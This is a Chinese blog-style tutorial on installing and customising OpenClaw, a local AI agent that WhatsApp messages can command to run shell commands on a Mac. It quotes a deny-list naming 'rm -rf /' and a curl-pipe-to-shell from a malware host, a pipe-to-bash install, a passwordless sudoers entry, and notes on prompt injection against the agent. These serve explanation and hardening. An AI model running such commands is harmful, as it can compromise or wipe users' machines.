OpenClaw:本地运行的AI代理,用WhatsApp远程操控Mac
自然语言控制终端是现代人提升数字工作流效率的基础能力。其核心原理在于将人类指令精准解析为可审计的shell命令,并在受控环境中安全执行。技术价值体现在隐私默认、零数据上传、权限最小化与完全自托管——所有操作闭环于用户本地设备,规避云端模型调用带来的延迟、合规与泄露风险。典型应用场景包括远程文件检索、自动化运维、跨平台消息即命令(如WhatsApp/iMessage触发磁盘检查或音量调节),以及基于
1. 项目概述:这不是一个聊天机器人,而是一把能远程打开你电脑抽屉的钥匙
你正蹲在便利店买咖啡,手机弹出 Slack 消息:“Q4 报告 PDF 能发我下吗?急用。”——它就躺在你家书桌那台 Mac 的桌面文件夹里,而你此刻离它 20 公里。你掏出手机,在 WhatsApp 里敲下一句:“找一下我桌面上那个 Q4 报告 PDF。”三十秒后,你收到一条回复:“ /Users/you/Desktop/Q4_Report_2025_Final.pdf ”,顺手复制粘贴进 Slack,事情搞定。没有远程桌面卡顿,没有 VPN 配置失败,没有翻墙工具闪退,只有一条普通消息,和一次本地执行。
这就是 OpenClaw 的真实工作场景。它不是另一个“AI 助手”App,也不是云端大模型的语音回声。它是一个 完全运行在你本地机器上的、有手脚的 AI 代理 ——你的 WhatsApp 是它的嘴,你的终端是它的神经中枢,你的硬盘是它的记忆库,而你写的每一条自然语言指令,都会被翻译成真实、可审计、可追溯的 shell 命令,在你自己的 macOS 或 Linux 系统上安静执行。
关键词不是“AI”“大模型”或“聊天”,而是: 自托管、终端直连、消息即命令、隐私默认开启 。它不上传你的文件,不记录你的对话历史到第三方服务器,不把你的 ~/.ssh/id_rsa 暴露给任何 API。你配置的 Claude API Key 只存于你本机的 JSON 文件里;你让 OpenClaw 查找的截图,只在你自己的 Downloads 文件夹里被逐个 file 命令识别;你让它生成的磁盘报告,Python 脚本全程在你本地运行,PDF 也只写入你指定的临时目录。整个链路里,唯一离开你设备的数据,就是你主动发出的那句“找截图”,以及模型返回的、经过 Pi 代理解析后的执行指令——其余全部闭环在你的硬件之内。
适合谁?不是极客圈里的概念验证者,而是每天被“我在外面,但那个文件在我电脑上”困住的真实用户:远程办公的设计师、出差中的运维工程师、在家带娃却要随时响应客户的技术顾问、甚至只是想用手机一键关掉客厅空调的普通家庭用户。它解决的不是“能不能做”,而是“要不要开电脑、要不要切窗口、要不要回忆命令路径”的微小摩擦。我搭好它之后做的第一件事,是让 OpenClaw 在我通勤路上自动检查邮箱里有没有带“URGENT”标签的新邮件,并在发现时立刻推送通知——整个过程没动过一次鼠标,也没打开过一次浏览器。
2. 核心架构拆解:为什么必须是“网关+Pi代理+本地执行”三层设计?
OpenClaw 的架构看起来简单,但每一层都藏着对现实约束的精准妥协。它不是凭空造轮子,而是把三个成熟领域里最稳的组件,用一种近乎“物理接线”的方式焊死在一起:消息协议栈、AI 编程代理、操作系统权限模型。理解这三层,才能避开后续所有“为什么它不工作”的坑。
2.1 第一层:Gateway(网关)——永不掉线的守门人
Gateway 是 OpenClaw 的心脏,也是它区别于所有“前端聊天界面+后端 API”方案的根本。它不是一个 HTTP 服务,而是一个长期驻留的系统级守护进程(macOS 下为 launchd ,Linux 下为 systemd ),启动后就常驻内存,持续维持与 WhatsApp(通过 Baileys 协议)、Telegram(Bot API)、iMessage(仅 macOS)、甚至你本机终端的连接。这意味着:
- 它不依赖你是否打开了某个网页或 App。只要你的 Mac 没关机、网络通畅,Gateway 就在后台呼吸。
- 它处理的是“会话状态”,而不是“单次请求”。当你在 WhatsApp 里连续发三条消息:“查磁盘”→“找截图”→“发邮件”,Gateway 会把它们按时间戳、发送者 ID、会话上下文打包,传给下一层,而不是割裂成三次无关联的 API 调用。
- 它自带 Web 仪表盘(默认
http://localhost:3000),所有配置——频道绑定、技能开关、心跳计划——都在这里可视化操作,且所有修改实时写入本地 JSON 配置文件,无需重启服务。
提示:很多人第一次失败,是因为误以为 Gateway 是个“点开即用”的 GUI 应用。它没有图标,不显示在 Dock,你只能通过
openclaw gateway status命令确认它是否真正在跑。我建议安装后立刻执行openclaw gateway logs --tail,盯着日志流看几秒,看到[INFO] Gateway started on port 3000和[INFO] WhatsApp session active才算真正落地。
2.2 第二层:Pi 代理——那个“懂命令、守规矩、会查文档”的本地执行员
如果说 Gateway 是门卫,Pi 就是你家书房里那个戴眼镜、手边永远摊着 man bash 和 zshcompsys 文档的助理。它不是直接调用 claude-3-sonnet 的裸模型,而是一个嵌入式、轻量级的“编程代理运行时”。它的核心职责有三:
- 意图解析(Intent Parsing) :把你的自然语言(“找我上周五拍的那张会议白板照”)拆解成结构化任务:
search_files --type image --date-range "2025-04-05..2025-04-07" --name "whiteboard"。 - 工具调度(Tool Orchestration) :根据任务类型,决定调用哪个 CLI 工具。查文件?用
fd或find;读邮件?调gog(Google CLI);控制 Hue 灯?执行phuePython 脚本;生成图表?写一段临时 Python 代码,用matplotlib渲染后转 PDF。 - 安全沙箱(Sandboxing Hook) :这是最关键的防线。Pi 在执行任何命令前,会先检查当前会话是否启用沙箱(见后文)。如果启用了,它会把命令包装进 Docker 容器;如果没启用,它会严格校验命令是否在白名单内(如禁止
rm -rf /、curl http://malware.site | sh),并强制使用非 root 用户身份运行。
注意:Pi 不是“万能翻译器”。它不会把“帮我写个网站”这种模糊需求直接变成
npx create-react-app。它只响应明确的、可分解为 CLI 步骤的指令。这也是它稳定的原因——它的能力边界,就是你本机已安装 CLI 工具的能力边界。你装了gh,它就能管 GitHub;你没装homebridge-cli,它对 HomeKit 设备就一无所知。这种“能力即插即用”的设计,让调试变得极其直观:openclaw skills list显示灰色的技能,八成是你漏装了依赖。
2.3 第三层:本地执行环境——你的 Mac 就是它的全部世界
OpenClaw 的终极执行单元,就是你每天敲 ls 、 cd 、 vim 的那个终端环境。它不虚拟化、不模拟、不抽象。当你问“我的磁盘还剩多少空间”,它执行的就是 df -h / ;当你问“把这张图缩放到 1200x800 并加水印”,它调用的就是你 brew install python-pillow 后可用的 PIL.Image 。这意味着:
- 零学习成本迁移 :你所有已有的 Shell 别名、Zsh 函数、Homebrew 安装的工具、甚至你自己写的
~/bin/backup.sh,OpenClaw 全部能用。它不是替代你的工作流,而是把你已有的工作流,用自然语言“喊”出来。 - 权限即安全 :它能访问什么,完全取决于你运行 Gateway 的用户权限。如果你用
sudo openclaw gateway start启动,它就有 root 权限——这极度危险,绝对禁止。官方默认以当前用户身份运行,所以它能删的文件,仅限于你当前用户能删的范围。 - 调试即所见 :遇到问题?直接打开终端,
cd ~/clawd/,cat memory/2025-04-10.md,就能看到 Pi 当天执行了哪些命令、输出了什么、卡在哪一步。没有黑盒,全是明文日志。
这三层设计共同回答了一个根本问题:为什么不用现成的 Telegram Bot API + Cloudflare Workers + Claude API?因为那样做,你的文件得先上传到 Workers 的临时存储,再转发给 Claude,模型返回的代码又得在 Workers 里执行——中间多出至少四次网络跳转、两次数据序列化、一次不可控的超时风险,更别说隐私泄露。OpenClaw 的选择很务实: 把计算力留在本地,只让最轻量的“意图”走网络,让最重的“执行”留在原地 。这就像你不会为了开自家车库门,先打电话给物业中心,再让物业中心派个保安开车过来按遥控器——你直接按自己口袋里的遥控器。
3. 实操部署全流程:从 curl 一行命令到 WhatsApp 收到第一条回复
部署 OpenClaw 的官方脚本( curl -fsSL https://molt.bot/install.sh | bash )确实只要一分钟,但这一分钟背后,藏着 macOS 用户必须亲手填平的五个深坑。我按真实踩坑顺序,把每一步拆解到你能对着 Terminal 逐字敲、逐行确认的程度。
3.1 前置准备:绕过 macOS 的三道“铁门”
OpenClaw 要在 macOS 上活下来,必须拿到三把钥匙。缺一把,它就会在某个环节静默失败,且不报错。
钥匙一:Full Disk Access(全盘访问权限)
这是最隐蔽的杀手。当你第一次让 OpenClaw 访问 ~/Downloads/ 时,macOS 会弹出系统级权限框。但如果你人在外地,手机发指令,这个框根本不会出现——它卡在你家 Mac 的锁屏界面上,无人点击,任务就永远挂起。解决方案:
- 打开 系统设置 → 隐私与安全性 → 全盘访问
- 点右下角锁图标解锁
- 点 “+” 号,找到你日常使用的终端应用(如
Terminal.app、iTerm2.app、WezTerm.app) - 务必勾选它 。注意:不是 OpenClaw 的进程名,而是你启动 Gateway 时用的那个终端程序!
实测心得:我曾因用
WezTerm启动但只给Terminal.app授权,导致所有文件搜索返回空结果,日志里却只有[DEBUG] No files found,排查了三小时才发现是这道门没开。
钥匙二:Accessibility(辅助功能权限)
OpenClaw 的某些技能(如控制 iMessage、读取屏幕内容)需要此权限。同样在 系统设置 → 隐私与安全性 → 辅助功能 中,把你的终端应用加进去。
钥匙三:Developer Tools(开发者工具命令行工具) xcode-select --install 必须运行。它提供 git 、 make 、 clang 等基础编译工具,OpenClaw 的部分技能(如编译自定义 C 工具)和沙箱构建都依赖它。不装,后续 ./scripts/sandbox-setup.sh 会直接报 command not found: make 。
3.2 安装与向导:QuickStart 里的“隐藏选项”
运行 curl -fsSL https://molt.bot/install.sh | bash 后,向导会自动启动。这里有两个关键决策点,新手常忽略:
第一处:API Token 选择
向导会让你选模型提供商。如果你有 Claude Pro/Max 订阅, 务必选 “setup-token” ,然后在新终端里执行 claude setup-token (需先 brew install anthropic-cli )。这个 token 是加密的、短期有效的,比直接在配置里硬编码 API Key 安全得多。我试过直接填 Key,结果某次系统更新后 Key 被清空,OpenClaw 连续三天报 401 Unauthorized ,而 setup-token 会自动刷新。
第二处:WhatsApp 绑定的“二次确认”
扫描 QR 码后,向导会说“绑定成功”,但此时别急着退出。请立即打开 WhatsApp 手机端 → 设置 → 已连接的设备 → 点击刚连上的设备名 → 确认“始终在此设备上保持登录”。否则,手机端重启 WhatsApp 或清理后台后,连接会断开,且 OpenClaw 不会主动重连,你需要手动 openclaw gateway restart 。
3.3 验证与首条指令:用三重回显确认“它真的活了”
向导结束后,你会看到三个并行的反馈通道:
- 终端窗口 :显示
TUI Chat Interface,光标闪烁,等待输入 - Web 仪表盘 (
http://localhost:3000):显示“Connected to WhatsApp”,下方有实时消息流 - WhatsApp 自己的聊天窗口 :你和自己的对话
现在,发一条测试指令:
Test: ls -la ~/clawd/
三秒内,你应该在三个地方同时看到:
- 终端 TUI 里打印出
clawd/目录的详细列表 - Web UI 的消息流里显示相同内容
- WhatsApp 聊天窗口里收到格式化后的文本回复
如果只有两个地方有,第三个缺失,说明对应通道的连接未建立。90% 的情况是:
- WhatsApp 缺失:检查手机端“已连接设备”列表里是否有该设备,或重扫 QR
- Web UI 缺失:浏览器可能被防火墙拦截,换 Safari 试试,或确认
localhost:3000是否被其他服务占用(lsof -i :3000) - 终端 TUI 缺失:可能是向导最后选了 “Web Only” 模式,重新运行
openclaw gateway hatch --tui
3.4 首个实用技能:让 OpenClaw 成为你 Mac 的“语音遥控器”
别急着写 Python 脚本。先用内置技能验证价值。我推荐第一个实战: 用 WhatsApp 控制你的 Mac 音量和屏幕亮度 (macOS 原生支持,无需额外安装)。
-
在 WhatsApp 里发:
Set volume to 50%Set screen brightness to 70% -
观察你的 Mac:音量条和亮度条应实时变化。
-
查看
~/clawd/memory/$(date +%Y-%m-%d).md日志,你会看到类似:[2025-04-10 14:22:03] EXECUTING: osascript -e 'set volume output volume 50' [2025-04-10 14:22:05] EXECUTING: osascript -e 'tell application "System Events" to key code 144' # Brightness up [2025-04-10 14:22:06] EXECUTING: osascript -e 'tell application "System Events" to key code 145' # Brightness down (to fine-tune)
这个例子揭示了 OpenClaw 的底层逻辑:它把自然语言映射到 macOS 的 osascript (AppleScript)命令。你不需要懂 AppleScript,但知道它在用这个,就能预判能力边界——比如它无法“把当前窗口移到左边屏幕”,因为 macOS 没有原生命令,但你可以自己写个 move-to-left.sh 脚本,再把它注册为一个技能。
4. 深度定制与扩展:从“能用”到“离不开”的三步跃迁
OpenClaw 的默认能力已经很强,但让它真正融入你个人工作流的,是接下来这三个层次的定制。我按投入产出比排序,每一步都附上我实测有效的代码和配置。
4.1 第一步:改写 SOUL.md —— 给你的 AI 一个“人设”
~/clawd/SOUL.md 不是配置文件,是 OpenClaw 的“人格宪法”。默认内容偏技术中立,但你可以把它变成你的私人助理口吻。例如,我把它改成:
# SOUL.md - Who You Are
* You're my remote hands and eyes on my Mac. Be fast, be precise, be silent unless action is needed.
* Never say "I'll try" or "Let me see". Either do it, or say exactly why you can't (e.g., "No permission for /private/var/log").
* If I ask for a file, send the full path first, then offer to zip or email it.
* When generating code, use zsh syntax (not bash) and assume I have `fd`, `ripgrep`, `jq` installed.
* If I'm in a hurry (message contains "ASAP", "now", "urgent"), skip explanations, just execute.
保存后,发一条 Update SOUL.md ,OpenClaw 会自动 reload。下次你发 Find that invoice PDF from Acme Corp ,它不再啰嗦“正在搜索...”,而是直接返回 /Users/you/Documents/Invoices/acme-2025-q2.pdf ,并追加一句 Send via email? (y/n) 。这种“人格化”不是玄学,而是通过约束输出模板,大幅减少你阅读回复的时间成本。
4.2 第二步:创建专属技能 —— 把重复操作压缩成一句话
我每天要做的三件事:
- 查今日待办(Things 3 CLI)
- 查未读邮件数(
gog mail unread-count) - 发送一条固定格式的 Slack 状态(
slack status set --text "In deep work 🧠" --emoji ":brain:")
与其每次发三条消息,不如建一个 daily-brief 技能。步骤如下:
- 创建技能目录:
mkdir -p ~/clawd/skills/daily-brief - 编写
SKILL.md:--- name: daily-brief description: Get today's tasks, unread emails, and set Slack status. metadata: openclaw: requires: bins: ["things", "gog", "slack"] --- ## Steps 1. Run `things list --today --format json` to get today's tasks. 2. Run `gog mail unread-count` to get unread count. 3. Run `slack status set --text "In deep work 🧠" --emoji ":brain:"`. 4. Summarize all in one message. - 确保依赖已安装:
brew install things-cli gog-cli slack-cli - 重启 Gateway:
openclaw gateway restart
现在,WhatsApp 里发 Run daily brief ,三秒后你就收到:
✅ Today's Tasks (3):
- Review Q4 budget draft
- Call client at 3pm
- Update README.md
📧 Unread Emails: 7
🚀 Slack status updated: "In deep work 🧠"
这个技能的价值在于:它把三个独立 CLI 工具的调用逻辑、错误处理(如 gog 认证失效时提示)、输出格式化,全部封装在一个 Markdown 文件里。你分享给同事,他只需 cp -r 过去, openclaw gateway restart ,就能用。
4.3 第三步:配置 Heartbeat —— 让它主动提醒你,而不是等你召唤
被动响应是助理,主动提醒才是伙伴。Heartbeat 是 OpenClaw 的“定时闹钟”,但它比 cron 更智能,因为它能跨多个数据源聚合信息。我的 HEARTBEAT.md 如下:
# Heartbeat checklist
- Check `gog mail unread-count` for >5 unread
- Run `things list --due-today` and alert if >3 overdue tasks
- Run `df -h / | awk 'NR==2 {print $5}' | sed 's/%//'` and alert if >90%
- If no activity for 4 hours, send "All quiet. Your Mac is healthy."
对应的 ~/.clawdbot/clawdbot.json 配置:
{
"agents": {
"defaults": {
"heartbeat": {
"every": "15m",
"activeHours": {
"start": "07:00",
"end": "23:00"
}
}
}
}
}
效果:每天早 7 点到晚 11 点,每 15 分钟,OpenClaw 会默默执行这四条检查。如果一切正常,它保持沉默;一旦磁盘超过 90%,它会立刻在 WhatsApp 里发:
⚠️ CRITICAL: Root disk usage is 92%. Top space hogs:
/Users/you/Library/Caches: 12.4 GB
/Users/you/Downloads: 8.7 GB
Run 'openclaw skill run cleanup-downloads' to clear old files?
这种“无声的守护”带来的安全感,远超任何主动查询。它把运维变成了背景音,而你只在真正需要时才被唤醒。
5. 安全实践与避坑指南:当你的 AI 有了“sudo”权限
赋予 AI 本地 shell 访问权,本质是把一把瑞士军刀交给了一个聪明但可能被误导的孩子。OpenClaw 提供了三道防护,但它们不会自动生效,需要你亲手拧紧每一颗螺丝。
5.1 沙箱(Sandboxing):不是“开不开”,而是“怎么开”
Docker 沙箱不是银弹,它是有代价的权衡。我实测了三种模式在 macOS 上的表现:
| 模式 | 启动延迟 | 网络访问 | 文件访问 | 适用场景 |
|---|---|---|---|---|
"mode": "off" |
0ms | ✅ 全通 | ✅ 全通 | 本地开发调试,信任所有技能 |
"mode": "non-main" |
~800ms | ❌ 默认禁用 | ~/clawd/ 只读 |
推荐日常使用 :保护主会话,隔离群聊/WhatsApp |
"mode": "all" |
~1.5s | ❌ 需手动 --network host |
~/clawd/ 只读 |
高危环境,如共享 VPS |
关键配置在 ~/.clawdbot/clawdbot.json :
{
"agents": {
"defaults": {
"sandbox": {
"mode": "non-main",
"scope": "session",
"workspaceAccess": "ro",
"dockerArgs": ["--memory=512m", "--cpus=0.5"] // 限制资源,防失控
}
}
}
}
注意:
workspaceAccess: "ro"意味着沙箱内的 Pi 代理只能读~/clawd/下的文件(如SOUL.md,USER.md),不能写。这防止了恶意技能篡改你的配置。但这也意味着,沙箱内生成的 PDF 报告,会写入容器临时目录,需由 Pi 主进程在容器退出后,把文件cp回宿主机。这是设计使然,不是 bug。
5.2 权限最小化:永远不要用 sudo 运行 Gateway
这是最高危操作。 sudo openclaw gateway start 会让 Pi 代理拥有 root 权限,一条 rm -rf / 指令就能让你的 Mac 变砖。正确做法:
- 确保 Gateway 以你的标准用户身份运行(向导默认如此)
- 如果某个技能需要更高权限(如重启
nginx), 不要给 Pi 加 sudo ,而是:- 创建一个专用的、权限受限的
sudoers条目:echo "$USER ALL=(ALL) NOPASSWD: /usr/local/bin/nginx -s reload" | sudo tee /etc/sudoers.d/openclaw - 在技能的
SKILL.md里明确写:Run sudo nginx -s reload - Pi 会按
sudoers规则执行,无需密码,且仅限该命令
- 创建一个专用的、权限受限的
这样,即使技能被 prompt injection 攻击,攻击者也只能重启 nginx,无法执行其他命令。
5.3 网络暴露:Web 仪表盘绝不能对外网开放
http://localhost:3000 默认只监听 127.0.0.1 ,这是安全的。但如果你在 clawdbot.json 里手贱改成 "host": "0.0.0.0" ,或用 ngrok 暴露它,就等于把你的 OpenClaw 配置面板、API Key、所有技能源码,直接挂在公网上。真实案例:有用户用 ngrok http 3000 调试,两天后发现 ~/.ssh/authorized_keys 被添加了陌生公钥。
正确做法:
- 永远不要改
host配置 - 如需远程管理,用 macOS 自带的 Screen Sharing(VNC),或
ssh -L 3000:localhost:3000 user@your-mac-ip建立本地端口转发 - 定期检查
lsof -i :3000,确认只有localhost连接
5.4 常见故障速查表
| 现象 | 可能原因 | 快速诊断命令 | 解决方案 |
|---|---|---|---|
| WhatsApp 消息无响应,但终端 TUI 正常 | WhatsApp 会话过期 | openclaw gateway logs | grep -i whatsapp |
重扫 QR 码,或 openclaw gateway restart |
报告“找不到 gh 命令”,但 which gh 有输出 |
Zsh 的 PATH 未被 Gateway 继承 | openclaw gateway logs | grep PATH |
在 ~/.zshrc 里 export PATH 后,重启 Gateway |
沙箱内 Python 报 ModuleNotFoundError: PIL |
Docker 镜像未预装 Pillow | docker run -it --rm openclaw-sandbox python3 -c "from PIL import Image" |
运行 ./scripts/sandbox-setup.sh 重建镜像 |
| Heartbeat 不触发 | clawdbot.json 格式错误 |
jq . ~/.clawdbot/clawdbot.json |
用在线 JSON 校验器检查语法,确保逗号、引号正确 |
| 技能列表里技能名是灰色 | 依赖未满足或 SKILL.md YAML 头错误 |
openclaw skills validate daily-brief |
检查 requires.bins 是否拼写正确, which 是否能找到 |
最后分享一个我踩过的最深的坑:某次 macOS 系统更新后, launchd 的 OpenClaw 服务启动失败,日志里只有一行 exited with code 1 。我花了六小时查权限、查 PATH、查沙箱,最后发现是 launchd 的 plist 文件里, ProgramArguments 数组少了一个逗号,导致 JSON 解析失败。教训是: 永远用 launchctl list \| grep claw 确认服务状态,用 launchctl print system/io.openclaw.gateway 查看完整错误 。技术细节藏在最枯燥的日志里,而不是最炫的文档里。
6. 进阶场景与未来可能:当 OpenClaw 开始“思考”你的习惯
OpenClaw 的当前能力已足够强大,但它的真正潜力,在于它开始理解你的行为模式,并主动适应。这不是科幻,而是基于其 MEMORY.md 和 USER.md 机制的自然演进。
6.1 让它记住你的“工作节奏”
我让 OpenClaw 学习我的日程规律:
- 每周一上午 10 点,我必开 Zoom 例会
- 每周三下午 3 点,我会导出本周所有笔记为 PDF
- 每月第一天,我要生成一份
~/Documents/Reports/monthly-$(date +%Y-%m).pdf
我把这些写进 USER.md :
## Work Rhythm
- **Weekly**: Every Monday 10:00 AM → Start Zoom meeting "Team Sync"
- **Weekly**: Every Wednesday 3:00 PM → Run `notebook export --format pdf --output ~/Documents/Notes/weekly.pdf`
- **Monthly**: First day of month → Generate monthly report PDF
然后,我创建一个 rhythm-monitor 技能,它每天凌晨 2 点检查 USER.md ,匹配当前日期/时间,自动触发对应动作。现在,我不用设闹钟,OpenClaw 会在周一早上 9:55 发 WhatsApp 提醒:“Zoom 例会还有 5 分钟,已为您打开 Zoom 应用”,并在周三下午 2:58 发:“笔记导出任务已排队,3 分钟后执行”。
6.2 构建“离线优先”的本地模型工作流
虽然当前主力是 Claude API,但 OpenClaw 对 Ollama 的支持已非常成熟。我已在本地部署了 llama3:70b ,并配置为备用模型:
{
"modelProviders": {
"ollama": {
"baseUrl": "http://localhost:11434",
"model": "llama3:70b",
"timeout": 300000
}
},
"agents": {
"defaults": {
"fallbackProvider": "ollama"
}
}
}
效果:当 Claude API 因网络波动超时,OpenClaw 会自动降级到本地 llama3 ,继续执行文件搜索、代码生成等任务。虽然速度慢 3 倍,但保证了“不断联”。随着 M2 Ultra Mac Mini 的普及,70B 模型在本地推理已进入实用阶段——OpenClaw 正在把“云 AI”变成“你的 AI”,而不仅仅是“Anthropic 的 AI”。
6.3 一个尚未实现,但已清晰可见的未来
OpenClaw 的 GitHub 仓库里,有一个名为 experimental/voice-control 的分支。它尝试接入 macOS 的 speech-to-text 框架,让 Siri 录音直接喂给 Pi 代理。这意味着,你对着 Mac 说“嘿 Siri,把桌面上那个蓝色文件夹发到我 WhatsApp”,Siri 转文字,OpenClaw 解析,执行 zip 和 whatsapp-send 。整个链路,没有云端语音识别,没有第三方 SDK,100% 本地闭环。
这不是终点,而是起点。OpenClaw 的价值,不在于它今天能做什么,而在于它证明了一种可能: 我们不必在“便利”和“控制”之间做单选题。 你可以拥有 WhatsApp 的便捷,Mac 的性能,Claude 的智能,和你硬盘的绝对主权。它不承诺取代你,它只承诺,当你需要时,你的电脑,永远准备好听你一句自然语言的吩咐。
更多推荐


所有评论(0)